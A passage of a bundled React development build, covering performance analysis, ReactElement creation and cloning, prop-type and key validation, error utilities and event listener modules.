= {\n          current: this.getName(),\n          owner: this._currentElement._owner ? this._currentElement._owner.getName() : '<root>'\n        };\n\n        return rv;\n      } else if ((moduleName === 'ReactDOMComponent' || moduleName === 'ReactDOMTextComponent') && (fnName === 'mountComponent' || fnName === 'receiveComponent')) {\n\n        rv = func.apply(this, args);\n        entry.hierarchy[getID(this)] = ReactDefaultPerf._compositeStack.slice();\n        return rv;\n      } else {\n        return func.apply(this, args);\n      }\n    };\n  }\n};\n\nmodule.exports = ReactDefaultPerf;\n},{\"10\":10,\"166\":166,\"168\":168,\"40\":40,\"61\":61,\"75\":75,\"82\":82}],61:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDefaultPerfAnalysis\n */\n\n'use strict';\n\n// Don't try to save users less than 1.2ms (a number I made up)\n\nvar _assign = _dereq_(169);\n\nvar DONT_CARE_THRESHOLD = 1.2;\nvar DOM_OPERATION_TYPES = {\n  '_mountImageIntoNode': 'set innerHTML',\n  INSERT_MARKUP: 'set innerHTML',\n  MOVE_EXISTING: 'move',\n  REMOVE_NODE: 'remove',\n  SET_MARKUP: 'set innerHTML',\n  TEXT_CONTENT: 'set textContent',\n  'setValueForProperty': 'update attribute',\n  'setValueForAttribute': 'update attribute',\n  'deleteValueForProperty': 'remove attribute',\n  'setValueForStyles': 'update styles',\n  'replaceNodeWithMarkup': 'replace',\n  'replaceDelimitedText': 'replace'\n};\n\nfunction getTotalTime(measurements) {\n  // TODO: return number of DOM ops? could be misleading.\n  // TODO: measure dropped frames after reconcile?\n  // TODO: log total time of each reconcile and the top-level component\n  // class that triggered it.\n  var totalTime = 0;\n  for (var i = 0; i < measurements.length; i++) {\n    var measurement = measurements[i];\n    totalTime += measurement.totalTime;\n  }\n  return totalTime;\n}\n\nfunction getDOMSummary(measurements) {\n  var items = [];\n  measurements.forEach(function (measurement) {\n    Object.keys(measurement.writes).forEach(function (id) {\n      measurement.writes[id].forEach(function (write) {\n        items.push({\n          id: id,\n          type: DOM_OPERATION_TYPES[write.type] || write.type,\n          args: write.args\n        });\n      });\n    });\n  });\n  return items;\n}\n\nfunction getExclusiveSummary(measurements) {\n  var candidates = {};\n  var displayName;\n\n  for (var i = 0; i < measurements.length; i++) {\n    var measurement = measurements[i];\n    var allIDs = _assign({}, measurement.exclusive, measurement.inclusive);\n\n    for (var id in allIDs) {\n      displayName = measurement.displayNames[id].current;\n\n      candidates[displayName] = candidates[displayName] || {\n        componentName: displayName,\n        inclusive: 0,\n        exclusive: 0,\n        render: 0,\n        count: 0\n      };\n      if (measurement.render[id]) {\n        candidates[displayName].render += measurement.render[id];\n      }\n      if (measurement.exclusive[id]) {\n        candidates[displayName].exclusive += measurement.exclusive[id];\n      }\n      if (measurement.inclusive[id]) {\n        candidates[displayName].inclusive += measurement.inclusive[id];\n      }\n      if (measurement.counts[id]) {\n        candidates[displayName].count += measurement.counts[id];\n      }\n    }\n  }\n\n  // Now make a sorted array with the results.\n  var arr = [];\n  for (displayName in candidates) {\n    if (candidates[displayName].exclusive >= DONT_CARE_THRESHOLD) {\n      arr.push(candidates[displayName]);\n    }\n  }\n\n  arr.sort(function (a, b) {\n    return b.exclusive - a.exclusive;\n  });\n\n  return arr;\n}\n\nfunction getInclusiveSummary(measurements, onlyClean) {\n  var candidates = {};\n  var inclusiveKey;\n\n  for (var i = 0; i < measurements.length; i++) {\n    var measurement = measurements[i];\n    var allIDs = _assign({}, measurement.exclusive, measurement.inclusive);\n    var cleanComponents;\n\n    if (onlyClean) {\n      cleanComponents = getUnchangedComponents(measurement);\n    }\n\n    for (var id in allIDs) {\n      if (onlyClean && !cleanComponents[id]) {\n        continue;\n      }\n\n      var displayName = measurement.displayNames[id];\n\n      // Inclusive time is not useful for many components without knowing where\n      // they are instantiated. So we aggregate inclusive time with both the\n      // owner and current displayName as the key.\n      inclusiveKey = displayName.owner + ' > ' + displayName.current;\n\n      candidates[inclusiveKey] = candidates[inclusiveKey] || {\n        componentName: inclusiveKey,\n        time: 0,\n        count: 0\n      };\n\n      if (measurement.inclusive[id]) {\n        candidates[inclusiveKey].time += measurement.inclusive[id];\n      }\n      if (measurement.counts[id]) {\n        candidates[inclusiveKey].count += measurement.counts[id];\n      }\n    }\n  }\n\n  // Now make a sorted array with the results.\n  var arr = [];\n  for (inclusiveKey in candidates) {\n    if (candidates[inclusiveKey].time >= DONT_CARE_THRESHOLD) {\n      arr.push(candidates[inclusiveKey]);\n    }\n  }\n\n  arr.sort(function (a, b) {\n    return b.time - a.time;\n  });\n\n  return arr;\n}\n\nfunction getUnchangedComponents(measurement) {\n  // For a given reconcile, look at which components did not actually\n  // render anything to the DOM and return a mapping of their ID to\n  // the amount of time it took to render the entire subtree.\n  var cleanComponents = {};\n  var writes = measurement.writes;\n  var hierarchy = measurement.hierarchy;\n  var dirtyComposites = {};\n  Object.keys(writes).forEach(function (id) {\n    writes[id].forEach(function (write) {\n      // Root mounting (innerHTML set) is recorded with an ID of ''\n      if (id !== '' && hierarchy.hasOwnProperty(id)) {\n        hierarchy[id].forEach(function (c) {\n          return dirtyComposites[c] = true;\n        });\n      }\n    });\n  });\n  var allIDs = _assign({}, measurement.exclusive, measurement.inclusive);\n\n  for (var id in allIDs) {\n    var isDirty = false;\n    // See if any of the DOM operations applied to this component's subtree.\n    if (dirtyComposites[id]) {\n      isDirty = true;\n    }\n    // check if component newly created\n    if (measurement.created[id]) {\n      isDirty = true;\n    }\n    if (!isDirty && measurement.counts[id] > 0) {\n      cleanComponents[id] = true;\n    }\n  }\n  return cleanComponents;\n}\n\nvar ReactDefaultPerfAnalysis = {\n  getExclusiveSummary: getExclusiveSummary,\n  getInclusiveSummary: getInclusiveSummary,\n  getDOMSummary: getDOMSummary,\n  getTotalTime: getTotalTime\n};\n\nmodule.exports = ReactDefaultPerfAnalysis;\n},{\"169\":169}],62:[function(_dereq_,module,exports){\n/**\n * Copyright 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactElement\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar ReactCurrentOwner = _dereq_(35);\n\nvar warning = _dereq_(168);\nvar canDefineProperty = _dereq_(116);\n\n// The Symbol used to tag the ReactElement type. If there is no native Symbol\n// nor polyfill, then a plain number is used for performance.\nvar REACT_ELEMENT_TYPE = typeof Symbol === 'function' && Symbol['for'] && Symbol['for']('react.element') || 0xeac7;\n\nvar RESERVED_PROPS = {\n  key: true,\n  ref: true,\n  __self: true,\n  __source: true\n};\n\nvar specialPropKeyWarningShown, specialPropRefWarningShown;\n\n/**\n * Factory method to create a new React element. This no longer adheres to\n * the class pattern, so do not use new to call it. Also, no instanceof check\n * will work. Instead test $$typeof field against Symbol.for('react.element') to check\n * if something is a React Element.\n *\n * @param {*} type\n * @param {*} key\n * @param {string|object} ref\n * @param {*} self A *temporary* helper to detect places where `this` is\n * different from the `owner` when React.createElement is called, so that we\n * can warn. We want to get rid of owner and replace string `ref`s with arrow\n * functions, and as long as `this` and owner are the same, there will be no\n * change in behavior.\n * @param {*} source An annotation object (added by a transpiler or otherwise)\n * indicating filename, line number, and/or other information.\n * @param {*} owner\n * @param {*} props\n * @internal\n */\nvar ReactElement = function (type, key, ref, self, source, owner, props) {\n  var element = {\n    // This tag allow us to uniquely identify this as a React Element\n    $$typeof: REACT_ELEMENT_TYPE,\n\n    // Built-in properties that belong on the element\n    type: type,\n    key: key,\n    ref: ref,\n    props: props,\n\n    // Record the component responsible for creating this element.\n    _owner: owner\n  };\n\n  if (\"development\" !== 'production') {\n    // The validation flag is currently mutative. We put it on\n    // an external backing store so that we can freeze the whole object.\n    // This can be replaced with a WeakMap once they are implemented in\n    // commonly used development environments.\n    element._store = {};\n\n    // To make comparing ReactElements easier for testing purposes, we make\n    // the validation flag non-enumerable (where possible, which should\n    // include every environment we run tests in), so the test framework\n    // ignores it.\n    if (canDefineProperty) {\n      Object.defineProperty(element._store, 'validated', {\n        configurable: false,\n        enumerable: false,\n        writable: true,\n        value: false\n      });\n      // self and source are DEV only properties.\n      Object.defineProperty(element, '_self', {\n        configurable: false,\n        enumerable: false,\n        writable: false,\n        value: self\n      });\n      // Two elements created in two different places should be considered\n      // equal for testing purposes and therefore we hide it from enumeration.\n      Object.defineProperty(element, '_source', {\n        configurable: false,\n        enumerable: false,\n        writable: false,\n        value: source\n      });\n    } else {\n      element._store.validated = false;\n      element._self = self;\n      element._source = source;\n    }\n    if (Object.freeze) {\n      Object.freeze(element.props);\n      Object.freeze(element);\n    }\n  }\n\n  return element;\n};\n\nReactElement.createElement = function (type, config, children) {\n  var propName;\n\n  // Reserved names are extracted\n  var props = {};\n\n  var key = null;\n  var ref = null;\n  var self = null;\n  var source = null;\n\n  if (config != null) {\n    if (\"development\" !== 'production') {\n      ref = !config.hasOwnProperty('ref') || Object.getOwnPropertyDescriptor(config, 'ref').get ? null : config.ref;\n      key = !config.hasOwnProperty('key') || Object.getOwnPropertyDescriptor(config, 'key').get ? null : '' + config.key;\n    } else {\n      ref = config.ref === undefined ? null : config.ref;\n      key = config.key === undefined ? null : '' + config.key;\n    }\n    self = config.__self === undefined ? null : config.__self;\n    source = config.__source === undefined ? null : config.__source;\n    // Remaining properties are added to a new props object\n    for (propName in config) {\n      if (config.hasOwnProperty(propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {\n        props[propName] = config[propName];\n      }\n    }\n  }\n\n  // Children can be more than one argument, and those are transferred onto\n  // the newly allocated props object.\n  var childrenLength = arguments.length - 2;\n  if (childrenLength === 1) {\n    props.children = children;\n  } else if (childrenLength > 1) {\n    var childArray = Array(childrenLength);\n    for (var i = 0; i < childrenLength; i++) {\n      childArray[i] = arguments[i + 2];\n    }\n    props.children = childArray;\n  }\n\n  // Resolve default props\n  if (type && type.defaultProps) {\n    var defaultProps = type.defaultProps;\n    for (propName in defaultProps) {\n      if (props[propName] === undefined) {\n        props[propName] = defaultProps[propName];\n      }\n    }\n  }\n  if (\"development\" !== 'production') {\n    // Create dummy `key` and `ref` property to `props` to warn users\n    // against its use\n    if (typeof props.$$typeof === 'undefined' || props.$$typeof !== REACT_ELEMENT_TYPE) {\n      if (!props.hasOwnProperty('key')) {\n        Object.defineProperty(props, 'key', {\n          get: function () {\n            if (!specialPropKeyWarningShown) {\n              specialPropKeyWarningShown = true;\n              \"development\" !== 'production' ? warning(false, '%s: `key` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://fb.me/react-special-props)', typeof type === 'function' && 'displayName' in type ? type.displayName : 'Element') : void 0;\n            }\n            return undefined;\n          },\n          configurable: true\n        });\n      }\n      if (!props.hasOwnProperty('ref')) {\n        Object.defineProperty(props, 'ref', {\n          get: function () {\n            if (!specialPropRefWarningShown) {\n              specialPropRefWarningShown = true;\n              \"development\" !== 'production' ? warning(false, '%s: `ref` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://fb.me/react-special-props)', typeof type === 'function' && 'displayName' in type ? type.displayName : 'Element') : void 0;\n            }\n            return undefined;\n          },\n          configurable: true\n        });\n      }\n    }\n  }\n  return ReactElement(type, key, ref, self, source, ReactCurrentOwner.current, props);\n};\n\nReactElement.createFactory = function (type) {\n  var factory = ReactElement.createElement.bind(null, type);\n  // Expose the type on the factory and the prototype so that it can be\n  // easily accessed on elements. E.g. `<Foo />.type === Foo`.\n  // This should not be named `constructor` since this may not be the function\n  // that created the element, and it may not even be a constructor.\n  // Legacy hook TODO: Warn if this is accessed\n  factory.type = type;\n  return factory;\n};\n\nReactElement.cloneAndReplaceKey = function (oldElement, newKey) {\n  var newElement = ReactElement(oldElement.type, newKey, oldElement.ref, oldElement._self, oldElement._source, oldElement._owner, oldElement.props);\n\n  return newElement;\n};\n\nReactElement.cloneElement = function (element, config, children) {\n  var propName;\n\n  // Original props are copied\n  var props = _assign({}, element.props);\n\n  // Reserved names are extracted\n  var key = element.key;\n  var ref = element.ref;\n  // Self is preserved since the owner is preserved.\n  var self = element._self;\n  // Source is preserved since cloneElement is unlikely to be targeted by a\n  // transpiler, and the original source is probably a better indicator of the\n  // true owner.\n  var source = element._source;\n\n  // Owner will be preserved, unless ref is overridden\n  var owner = element._owner;\n\n  if (config != null) {\n    if (config.ref !== undefined) {\n      // Silently steal the ref from the parent.\n      ref = config.ref;\n      owner = ReactCurrentOwner.current;\n    }\n    if (config.key !== undefined) {\n      key = '' + config.key;\n    }\n    // Remaining properties override existing props\n    var defaultProps;\n    if (element.type && element.type.defaultProps) {\n      defaultProps = element.type.defaultProps;\n    }\n    for (propName in config) {\n      if (config.hasOwnProperty(propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {\n        if (config[propName] === undefined && defaultProps !== undefined) {\n          // Resolve default props\n          props[propName] = defaultProps[propName];\n        } else {\n          props[propName] = config[propName];\n        }\n      }\n    }\n  }\n\n  // Children can be more than one argument, and those are transferred onto\n  // the newly allocated props object.\n  var childrenLength = arguments.length - 2;\n  if (childrenLength === 1) {\n    props.children = children;\n  } else if (childrenLength > 1) {\n    var childArray = Array(childrenLength);\n    for (var i = 0; i < childrenLength; i++) {\n      childArray[i] = arguments[i + 2];\n    }\n    props.children = childArray;\n  }\n\n  return ReactElement(element.type, key, ref, self, source, owner, props);\n};\n\n/**\n * @param {?object} object\n * @return {boolean} True if `object` is a valid component.\n * @final\n */\nReactElement.isValidElement = function (object) {\n  return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;\n};\n\nmodule.exports = ReactElement;\n},{\"116\":116,\"168\":168,\"169\":169,\"35\":35}],63:[function(_dereq_,module,exports){\n/**\n * Copyright 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactElementValidator\n */\n\n/**\n * ReactElementValidator provides a wrapper around a element factory\n * which validates the props passed to the element. This is intended to be\n * used only in DEV and could be replaced by a static type checker for languages\n * that support it.\n */\n\n'use strict';\n\nvar ReactElement = _dereq_(62);\nvar ReactPropTypeLocations = _dereq_(84);\nvar ReactPropTypeLocationNames = _dereq_(83);\nvar ReactCurrentOwner = _dereq_(35);\n\nvar canDefineProperty = _dereq_(116);\nvar getIteratorFn = _dereq_(127);\nvar invariant = _dereq_(158);\nvar warning = _dereq_(168);\n\nfunction getDeclarationErrorAddendum() {\n  if (ReactCurrentOwner.current) {\n    var name = ReactCurrentOwner.current.getName();\n    if (name) {\n      return ' Check the render method of `' + name + '`.';\n    }\n  }\n  return '';\n}\n\n/**\n * Warn if there's no key explicitly set on dynamic arrays of children or\n * object keys are not valid. This allows us to keep track of children between\n * updates.\n */\nvar ownerHasKeyUseWarning = {};\n\nvar loggedTypeFailures = {};\n\n/**\n * Warn if the element doesn't have an explicit key assigned to it.\n * This element is in an array. The array could grow and shrink or be\n * reordered. All children that haven't already been validated are required to\n * have a \"key\" property assigned to it.\n *\n * @internal\n * @param {ReactElement} element Element that requires a key.\n * @param {*} parentType element's parent's type.\n */\nfunction validateExplicitKey(element, parentType) {\n  if (!element._store || element._store.validated || element.key != null) {\n    return;\n  }\n  element._store.validated = true;\n\n  var addenda = getAddendaForKeyUse('uniqueKey', element, parentType);\n  if (addenda === null) {\n    // we already showed the warning\n    return;\n  }\n  \"development\" !== 'production' ? warning(false, 'Each child in an array or iterator should have a unique \"key\" prop.' + '%s%s%s', addenda.parentOrOwner || '', addenda.childOwner || '', addenda.url || '') : void 0;\n}\n\n/**\n * Shared warning and monitoring code for the key warnings.\n *\n * @internal\n * @param {string} messageType A key used for de-duping warnings.\n * @param {ReactElement} element Component that requires a key.\n * @param {*} parentType element's parent's type.\n * @returns {?object} A set of addenda to use in the warning message, or null\n * if the warning has already been shown before (and shouldn't be shown again).\n */\nfunction getAddendaForKeyUse(messageType, element, parentType) {\n  var addendum = getDeclarationErrorAddendum();\n  if (!addendum) {\n    var parentName = typeof parentType === 'string' ? parentType : parentType.displayName || parentType.name;\n    if (parentName) {\n      addendum = ' Check the top-level render call using <' + parentName + '>.';\n    }\n  }\n\n  var memoizer = ownerHasKeyUseWarning[messageType] || (ownerHasKeyUseWarning[messageType] = {});\n  if (memoizer[addendum]) {\n    return null;\n  }\n  memoizer[addendum] = true;\n\n  var addenda = {\n    parentOrOwner: addendum,\n    url: ' See https://fb.me/react-warning-keys for more information.',\n    childOwner: null\n  };\n\n  // Usually the current owner is the offender, but if it accepts children as a\n  // property, it may be the creator of the child that's responsible for\n  // assigning it a key.\n  if (element && element._owner && element._owner !== ReactCurrentOwner.current) {\n    // Give the component that originally created this child.\n    addenda.childOwner = ' It was passed a child from ' + element._owner.getName() + '.';\n  }\n\n  return addenda;\n}\n\n/**\n * Ensure that every element either is passed in a static location, in an\n * array with an explicit keys property defined, or in an object literal\n * with valid key property.\n *\n * @internal\n * @param {ReactNode} node Statically passed child of any type.\n * @param {*} parentType node's parent's type.\n */\nfunction validateChildKeys(node, parentType) {\n  if (typeof node !== 'object') {\n    return;\n  }\n  if (Array.isArray(node)) {\n    for (var i = 0; i < node.length; i++) {\n      var child = node[i];\n      if (ReactElement.isValidElement(child)) {\n        validateExplicitKey(child, parentType);\n      }\n    }\n  } else if (ReactElement.isValidElement(node)) {\n    // This element was passed in a valid location.\n    if (node._store) {\n      node._store.validated = true;\n    }\n  } else if (node) {\n    var iteratorFn = getIteratorFn(node);\n    // Entry iterators provide implicit keys.\n    if (iteratorFn) {\n      if (iteratorFn !== node.entries) {\n        var iterator = iteratorFn.call(node);\n        var step;\n        while (!(step = iterator.next()).done) {\n          if (ReactElement.isValidElement(step.value)) {\n            validateExplicitKey(step.value, parentType);\n          }\n        }\n      }\n    }\n  }\n}\n\n/**\n * Assert that the props are valid\n *\n * @param {string} componentName Name of the component for error messages.\n * @param {object} propTypes Map of prop name to a ReactPropType\n * @param {object} props\n * @param {string} location e.g. \"prop\", \"context\", \"child context\"\n * @private\n */\nfunction checkPropTypes(componentName, propTypes, props, location) {\n  for (var propName in propTypes) {\n    if (propTypes.hasOwnProperty(propName)) {\n      var error;\n      // Prop type validation may throw. In case they do, we don't want to\n      // fail the render phase where it didn't fail before. So we log it.\n      // After these have been cleaned up, we'll let them throw.\n      try {\n        // This is intentionally an invariant that gets caught. It's the same\n        // behavior as without this statement except with a better message.\n        !(typeof propTypes[propName] === 'function') ? \"development\" !== 'production' ? invariant(false, '%s: %s type `%s` is invalid; it must be a function, usually from ' + 'React.PropTypes.', componentName || 'React class', ReactPropTypeLocationNames[location], propName) : invariant(false) : void 0;\n        error = propTypes[propName](props, propName, componentName, location);\n      } catch (ex) {\n        error = ex;\n      }\n      \"development\" !== 'production' ? warning(!error || error instanceof Error, '%s: type specification of %s `%s` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a %s. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).', componentName || 'React class', ReactPropTypeLocationNames[location], propName, typeof error) : void 0;\n      if (error instanceof Error && !(error.message in loggedTypeFailures)) {\n        // Only monitor this failure once because there tends to be a lot of the\n        // same error.\n        loggedTypeFailures[error.message] = true;\n\n        var addendum = getDeclarationErrorAddendum();\n        \"development\" !== 'production' ? warning(false, 'Failed propType: %s%s', error.message, addendum) : void 0;\n      }\n    }\n  }\n}\n\n/**\n * Given an element, validate that its props follow the propTypes definition,\n * provided by the type.\n *\n * @param {ReactElement} element\n */\nfunction validatePropTypes(element) {\n  var componentClass = element.type;\n  if (typeof componentClass !== 'function') {\n    return;\n  }\n  var name = componentClass.displayName || componentClass.name;\n  if (componentClass.propTypes) {\n    checkPropTypes(name, componentClass.propTypes, element.props, ReactPropTypeLocations.prop);\n  }\n  if (typeof componentClass.getDefaultProps === 'function') {\n    \"development\" !== 'production' ? warning(componentClass.getDefaultProps.isReactClassApproved, 'getDefaultProps is only used on classic React.createClass ' + 'definitions. Use a static property named `defaultProps` instead.') : void 0;\n  }\n}\n\nvar ReactElementValidator = {\n\n  createElement: function (type, props, children) {\n    var validType = typeof type === 'string' || typeof type === 'function';\n    // We warn in this case but don't throw. We expect the element creation to\n    // succeed and there will likely be errors in render.\n    \"development\" !== 'production' ? warning(validType, 'React.createElement: type should not be null, undefined, boolean, or ' + 'number. It should be a string (for DOM elements) or a ReactClass ' + '(for composite components).%s', getDeclarationErrorAddendum()) : void 0;\n\n    var element = ReactElement.createElement.apply(this, arguments);\n\n    // The result can be nullish if a mock or a custom function is used.\n    // TODO: Drop this when these are no longer allowed as the type argument.\n    if (element == null) {\n      return element;\n    }\n\n    // Skip key warning if the type isn't valid since our key validation logic\n    // doesn't expect a non-string/function type and can throw confusing errors.\n    // We don't want exception behavior to differ between dev and prod.\n    // (Rendering will throw with a helpful message and as soon as the type is\n    // fixed, the key warnings will appear.)\n    if (validType) {\n      for (var i = 2; i < arguments.length; i++) {\n        validateChildKeys(arguments[i], type);\n      }\n    }\n\n    validatePropTypes(element);\n\n    return element;\n  },\n\n  createFactory: function (type) {\n    var validatedFactory = ReactElementValidator.createElement.bind(null, type);\n    // Legacy hook TODO: Warn if this is accessed\n    validatedFactory.type = type;\n\n    if (\"development\" !== 'production') {\n      if (canDefineProperty) {\n        Object.defineProperty(validatedFactory, 'type', {\n          enumerable: false,\n          get: function () {\n            \"development\" !== 'production' ? warning(false, 'Factory.type is deprecated. Access the class directly ' + 'before passing it to createFactory.') : void 0;\n            Object.defineProperty(this, 'type', {\n              value: type\n            });\n            return type;\n          }\n        });\n      }\n    }\n\n    return validatedFactory;\n  },\n\n  cloneElement: function (element, props, children) {\n    var newElement = ReactElement.cloneElement.apply(this, arguments);\n    for (var i = 2; i < arguments.length; i++) {\n      validateChildKeys(arguments[i], newElement.type);\n    }\n    validatePropTypes(newElement);\n    return newElement;\n  }\n\n};\n\nmodule.exports = ReactElementValidator;\n},{\"116\":116,\"127\":127,\"158\":158,\"168\":168,\"35\":35,\"62\":62,\"83\":83,\"84\":84}],64:[function(_dereq_,module,exports){\n/**\n * Copyright 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactEmptyComponent\n */\n\n'use strict';\n\nvar emptyComponentFactory;\n\nvar ReactEmptyComponentInjection = {\n  injectEmptyComponentFactory: function (factory) {\n    emptyComponentFactory = factory;\n  }\n};\n\nvar ReactEmptyComponent = {\n  create: function (instantiate) {\n    return emptyComponentFactory(instantiate);\n  }\n};\n\nReactEmptyComponent.injection = ReactEmptyComponentInjection;\n\nmodule.exports = ReactEmptyComponent;\n},{}],65:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactErrorUtils\n */\n\n'use strict';\n\nvar caughtError = null;\n\n/**\n * Call a function while guarding against errors that happens within it.\n *\n * @param {?String} name of the guard to use for logging or debugging\n * @param {Function} func The function to invoke\n * @param {*} a First argument\n * @param {*} b Second argument\n */\nfunction invokeGuardedCallback(name, func, a, b) {\n  try {\n    return func(a, b);\n  } catch (x) {\n    if (caughtError === null) {\n      caughtError = x;\n    }\n    return undefined;\n  }\n}\n\nvar ReactErrorUtils = {\n  invokeGuardedCallback: invokeGuardedCallback,\n\n  /**\n   * Invoked by ReactTestUtils.Simulate so that any errors thrown by the event\n   * handler are sure to be rethrown by rethrowCaughtError.\n   */\n  invokeGuardedCallbackWithCatch: invokeGuardedCallback,\n\n  /**\n   * During execution of guarded functions we will capture the first error which\n   * we will rethrow to be handled by the top level error handler.\n   */\n  rethrowCaughtError: function () {\n    if (caughtError) {\n      var error = caughtError;\n      caughtError = null;\n      throw error;\n    }\n  }\n};\n\nif (\"development\" !== 'production') {\n  /**\n   * To help development we can get better devtools integration by simulating a\n   * real browser event.\n   */\n  if (typeof window !== 'undefined' && typeof window.dispatchEvent === 'function' && typeof document !== 'undefined' && typeof document.createEvent === 'function') {\n    var fakeNode = document.createElement('react');\n    ReactErrorUtils.invokeGuardedCallback = function (name, func, a, b) {\n      var boundFunc = func.bind(null, a, b);\n      var evtType = 'react-' + name;\n      fakeNode.addEventListener(evtType, boundFunc, false);\n      var evt = document.createEvent('Event');\n      evt.initEvent(evtType, false, false);\n      fakeNode.dispatchEvent(evt);\n      fakeNode.removeEventListener(evtType, boundFunc, false);\n    };\n  }\n}\n\nmodule.exports = ReactErrorUtils;\n},{}],66:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactEventEmitterMixin\n */\n\n'use strict';\n\nvar EventPluginHub = _dereq_(17);\n\nfunction runEventQueueInBatch(events) {\n  EventPluginHub.enqueueEvents(events);\n  EventPluginHub.processEventQueue(false);\n}\n\nvar ReactEventEmitterMixin = {\n\n  /**\n   * Streams a fired top-level event to `EventPluginHub` where plugins have the\n   * opportunity to create `ReactEvent`s to be dispatched.\n   */\n  handleTopLevel: function (topLevelType, targetInst, nativeEvent, nativeEventTarget) {\n    var events = EventPluginHub.extractEvents(topLevelType, targetInst, nativeEvent, nativeEventTarget);\n    runEventQueueInBatch(events);\n  }\n};\n\nmodule.exports = ReactEventEmitterMixin;\n},{\"17\":17}],67:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactEventListener\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar EventListener = _dereq_(143);\nvar ExecutionEnvironment = _dereq_(144);\nvar PooledClass = _dereq_(25);\nvar ReactDOMComponentTree = _dereq_(40);\nvar ReactUpdates = _dereq_(94);\n\nvar getEventTarget = _dereq_(126);\nvar getUnboundedScrollPosition = _dereq_(155);\n\n/**\n * Find the deepest React component completely containing the root of the\n * passed-in instance (for use when entire React trees are nested within each\n * other). If React trees are not nested, returns null.\n */\nfunction findParent(inst) {\n  // TODO: It may be a good idea to cache this to prevent unnecessary DOM\n  // traversal, but caching is difficult to do correctly without using a\n  // mutation observer to listen for all DOM changes.\n  while (inst._nativeParent) {\n    inst = inst._nativeParent;\n  }\n  var rootNode = ReactDOMComponentTree.getNodeFromInstance(inst);\n  var container = rootNode.parentNode;\n  return ReactDOMComponentTree.getClosestInstanceFromNode(container);\n}\n\n// Used to store ancestor hierarchy in top level callback\nfunction TopLevelCallbackBookKeeping(topLevelType, nativeEvent) {\n  this.topLevelType = topLevelType;\n  this.nativeEvent = nativeEvent;\n  this.ancestors = [];\n}\n_assign(TopLevelCallbackBookKeeping.prototype, {\n  destructor: function () {\n    this.topLevelType = null;\n    this.nativeEvent = null;\n    this.ancestors.length = 0;\n  }\n});\nPooledClass.addPoolingTo(TopLevelCallbackBookKeeping, PooledClass.twoArgumentPooler);\n\nfunction handleTopLevelImpl(bookKeeping) {\n  var nativeEventTarget = getEventTarget(bookKeeping.nativeEvent);\n  var targetInst = ReactDOMComponentTree.getClosestInstanceFromNode(nativeEventTarget);\n\n  // Loop through the hierarchy, in case there's any nested components.\n  // It's important that we build the array of ancestors before calling any\n  // event handlers, because event handlers can modify the DOM, leading to\n  // inconsistencies with ReactMount's node cache. See #1105.\n  var ancestor = targetInst;\n  do {\n    bookKeeping.ancestors.push(ancestor);\n    ancestor = ancestor && findParent(ancestor);\n  } while (ancestor);\n\n  for (var i = 0; i < bookKeeping.ancestors.length; i++) {\n    targetInst = bookKeeping.ancestors[i];\n    ReactEventListener._handleTopLevel(bookKeeping.topLevelType, targetInst, bookKeeping.nativeEvent, getEventTarget(bookKeeping.nativeEvent));\n  }\n}\n\nfunction scrollValueMonitor(cb) {\n  var scrollPosition = getUnboundedScrollPosition(window);\n  cb(scrollPosition);\n}\n\nvar ReactEventListener = {\n  _enabled: true,\n  _handleTopLevel: null,\n\n  WINDOW_HANDLE: ExecutionEnvironment.canUseDOM ? window : null,\n\n  setHandleTopLevel: function (handleTopLevel) {\n    ReactEventListener._handleTopLevel = handleTopLevel;\n  },\n\n  setEnabled: function (enabled) {\n    ReactEventListener._enabled = !!enabled;\n  },\n\n  isEnabled: function () {\n    return ReactEventListener._enabled;\n  },\n\n  /**\n   * Traps top-level events by using event bubbling.\n   *\n   * @param {string} topLevelType Record from `EventConstants`.\n   * @param {string} handlerBaseName Event name (e.g. \"click\").\n   * @param {object} handle Element on which to attach listener.\n   * @return {?object} An object with a remove function which will forcefully\n   *                  remove the listener.\n   * @internal\n   */\n  trapBubbledEvent: function (topLevelType, handlerBaseName, handle) {\n    var element = handle;\n    if (!element) {\n      return null;\n    }\n    return EventListener.listen(element, handlerBaseName, ReactEventListener.dispatchEvent.bind(null, topLevelType));\n  },\n\n  /**\n   * Traps a top-level event by using event capturing.\n   *\n   * @param {string} topLevelType Record from 